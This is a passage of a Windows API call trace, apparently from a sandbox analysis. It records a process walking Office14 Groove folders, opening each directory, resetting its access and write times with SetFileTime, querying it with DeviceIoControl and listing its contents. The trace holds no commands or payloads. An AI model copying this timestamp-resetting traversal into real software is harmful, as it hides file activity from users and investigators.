dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.898] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17ae3a0, lpLastWriteTime=0x17ae3a0) returned 0 [0055.899] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a49760, nOutBufferSize=0x4000, lpBytesReturned=0x17ae3f8, lpOverlapped=0x0 | out: lpOutBuffer=0x1a49760, lpBytesReturned=0x17ae3f8, lpOverlapped=0x0) returned 0 [0055.899] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae1a8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae1a8) returned 0x459c78 [0055.901] GetLastError () returned 0x12 [0055.901] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae1a8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae1a8) returned 0x459d78 [0055.901] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.901] GetLastError () returned 0x12 [0055.901] FindClose (in: hFindFile=0x459d78 | out: hFindFile=0x459d78) returned 1 [0055.902] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates"), fInfoLevelId=0x0, lpFileInformation=0x17ae35c | out: lpFileInformation=0x17ae35c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d354f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0055.903] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x17ae3a0, lpLastWriteTime=0x17ae3a0) returned 0 [0055.903] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a49760, nOutBufferSize=0x4000, lpBytesReturned=0x17ae3f8, lpOverlapped=0x0 | out: lpOutBuffer=0x1a49760, lpBytesReturned=0x17ae3f8, lpOverlapped=0x0) returned 0 [0055.903] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae1a8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae1a8) returned 0x459d78 [0055.905] GetLastError () returned 0x12 [0055.905] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae1a8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae1a8) returned 0x459c78 [0055.905] FindClose (in: hFindFile=0x459d78 | out: hFindFile=0x459d78) returned 1 [0055.905] GetLastError () returned 0x12 [0055.905] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.906] GetLastError () returned 0x12 [0055.906] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.906] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3"), fInfoLevelId=0x0, lpFileInformation=0x17ae614 | out: lpFileInformation=0x17ae614*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.906] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17ae658, lpLastWriteTime=0x17ae658) returned 0 [0055.906] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a49760, nOutBufferSize=0x4000, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0 | out: lpOutBuffer=0x1a49760, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0) returned 0 [0055.906] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459d38 [0055.912] GetLastError () returned 0x12 [0055.912] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459c78 [0055.912] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.912] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles"), fInfoLevelId=0x0, lpFileInformation=0x17ae35c | out: lpFileInformation=0x17ae35c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.912] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17ae3a0, lpLastWriteTime=0x17ae3a0) returned 0 [0055.912] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a49760, nOutBufferSize=0x4000, lpBytesReturned=0x17ae3f8, lpOverlapped=0x0 | out: lpOutBuffer=0x1a49760, lpBytesReturned=0x17ae3f8, lpOverlapped=0x0) returned 0 [0055.913] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae1a8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae1a8) returned 0x459d38 [0055.915] GetLastError () returned 0x12 [0055.915] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae1a8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae1a8) returned 0x459d78 [0055.916] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.916] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana"), fInfoLevelId=0x0, lpFileInformation=0x17ae0a4 | out: lpFileInformation=0x17ae0a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.917] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17ae0e8, lpLastWriteTime=0x17ae0e8) returned 0 [0055.917] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a49760, nOutBufferSize=0x4000, lpBytesReturned=0x17ae140, lpOverlapped=0x0 | out: lpOutBuffer=0x1a49760, lpBytesReturned=0x17ae140, lpOverlapped=0x0) returned 0 [0055.917] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\*", fInfoLevelId=0x1, lpFindFileData=0x17adef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17adef0) returned 0x459d38 [0055.918] GetLastError () returned 0x12 [0055.918] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\*", fInfoLevelId=0x1, lpFindFileData=0x17adef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17adef0) returned 0x459db8 [0055.918] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.918] GetLastError () returned 0x12 [0055.918] FindClose (in: hFindFile=0x459db8 | out: hFindFile=0x459db8) returned 1 [0055.918] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue"), fInfoLevelId=0x0, lpFileInformation=0x17ae0a4 | out: lpFileInformation=0x17ae0a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0055.918] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x17ae0e8, lpLastWriteTime=0x17ae0e8) returned 0 [0055.919] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a49760, nOutBufferSize=0x4000, lpBytesReturned=0x17ae140, lpOverlapped=0x0 | out: lpOutBuffer=0x1a49760, lpBytesReturned=0x17ae140, lpOverlapped=0x0) returned 0 [0055.919] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x17adef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17adef0) returned 0x459db8 [0055.919] GetLastError () returned 0x12 [0055.919] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x17adef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17adef0) returned 0x459d38 [0055.919] FindClose (in: hFindFile=0x459db8 | out: hFindFile=0x459db8) returned 1 [0055.919] GetLastError () returned 0x12 [0055.919] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.919] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay"), fInfoLevelId=0x0, lpFileInformation=0x17ae0a4 | out: lpFileInformation=0x17ae0a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.920] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17ae0e8, lpLastWriteTime=0x17ae0e8) returned 0 [0055.920] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a49760, nOutBufferSize=0x4000, lpBytesReturned=0x17ae140, lpOverlapped=0x0 | out: lpOutBuffer=0x1a49760, lpBytesReturned=0x17ae140, lpOverlapped=0x0) returned 0 [0055.920] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\*", fInfoLevelId=0x1, lpFindFileData=0x17adef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17adef0) returned 0x459d38 [0055.920] GetLastError () returned 0x12 [0055.920] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\*", fInfoLevelId=0x1, lpFindFileData=0x17adef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17adef0) returned 0x459db8 [0055.921] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.921] GetLastError () returned 0x12 [0055.921] FindClose (in: hFindFile=0x459db8 | out: hFindFile=0x459db8) returned 1 [0055.921] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange"), fInfoLevelId=0x0, lpFileInformation=0x17ae0a4 | out: lpFileInformation=0x17ae0a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0055.921] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x17ae0e8, lpLastWriteTime=0x17ae0e8) returned 0 [0055.921] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a49760, nOutBufferSize=0x4000, lpBytesReturned=0x17ae140, lpOverlapped=0x0 | out: lpOutBuffer=0x1a49760, lpBytesReturned=0x17ae140, lpOverlapped=0x0) returned 0 [0055.921] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\*", fInfoLevelId=0x1, lpFindFileData=0x17adef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17adef0) returned 0x459db8 [0055.921] GetLastError () returned 0x12 [0055.922] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\*", fInfoLevelId=0x1, lpFindFileData=0x17adef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17adef0) returned 0x459d38 [0055.922] FindClose (in: hFindFile=0x459db8 | out: hFindFile=0x459db8) returned 1 [0055.922] GetLastError () returned 0x12 [0055.922] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.922] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow"), fInfoLevelId=0x0, lpFileInformation=0x17ae0a4 | out: lpFileInformation=0x17ae0a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.923] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17ae0e8, lpLastWriteTime=0x17ae0e8) returned 0 [0055.923] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a49760, nOutBufferSize=0x4000, lpBytesReturned=0x17ae140, lpOverlapped=0x0 | out: lpOutBuffer=0x1a49760, lpBytesReturned=0x17ae140, lpOverlapped=0x0) returned 0 [0055.923] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\*", fInfoLevelId=0x1, lpFindFileData=0x17adef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17adef0) returned 0x459d38 [0055.923] GetLastError () returned 0x12 [0055.923] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\*", fInfoLevelId=0x1, lpFindFileData=0x17adef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17adef0) returned 0x459db8 [0055.923] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.923] GetLastError () returned 0x12 [0055.924] FindClose (in: hFindFile=0x459db8 | out: hFindFile=0x459db8) returned 1 [0055.924] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert"), fInfoLevelId=0x0, lpFileInformation=0x17ae0a4 | out: lpFileInformation=0x17ae0a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0055.925] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x17ae0e8, lpLastWriteTime=0x17ae0e8) returned 0 [0055.925] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a49760, nOutBufferSize=0x4000, lpBytesReturned=0x17ae140, lpOverlapped=0x0 | out: lpOutBuffer=0x1a49760, lpBytesReturned=0x17ae140, lpOverlapped=0x0) returned 0 [0055.925] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\*", fInfoLevelId=0x1, lpFindFileData=0x17adef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17adef0) returned 0x459db8 [0055.925] GetLastError () returned 0x12 [0055.926] FindClose (in: hFindFile=0x459db8 | out: hFindFile=0x459db8) returned 1 [0055.926] GetLastError () returned 0x12 [0055.926] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.926] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck"), fInfoLevelId=0x0, lpFileInformation=0x17ae0a4 | out: lpFileInformation=0x17ae0a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.926] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17ae0e8, lpLastWriteTime=0x17ae0e8) returned 0 [0055.926] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a49760, nOutBufferSize=0x4000, lpBytesReturned=0x17ae140, lpOverlapped=0x0 | out: lpOutBuffer=0x1a49760, lpBytesReturned=0x17ae140, lpOverlapped=0x0) returned 0 [0055.926] GetLastError () returned 0x12 [0055.927] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.927] GetLastError () returned 0x12 [0055.927] FindClose (in: hFindFile=0x459db8 | out: hFindFile=0x459db8) returned 1 [0055.927] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime"), fInfoLevelId=0x0, lpFileInformation=0x17ae0a4 | out: lpFileInformation=0x17ae0a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0055.928] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x17ae0e8, lpLastWriteTime=0x17ae0e8) returned 0 [0055.928] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a49760, nOutBufferSize=0x4000, lpBytesReturned=0x17ae140, lpOverlapped=0x0 | out: lpOutBuffer=0x1a49760, lpBytesReturned=0x17ae140, lpOverlapped=0x0) returned 0 [0055.928] GetLastError () returned 0x12 [0055.928] FindClose (in: hFindFile=0x459db8 | out: hFindFile=0x459db8) returned 1 [0055.928] GetLastError () returned 0x12 [0055.928] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.928] 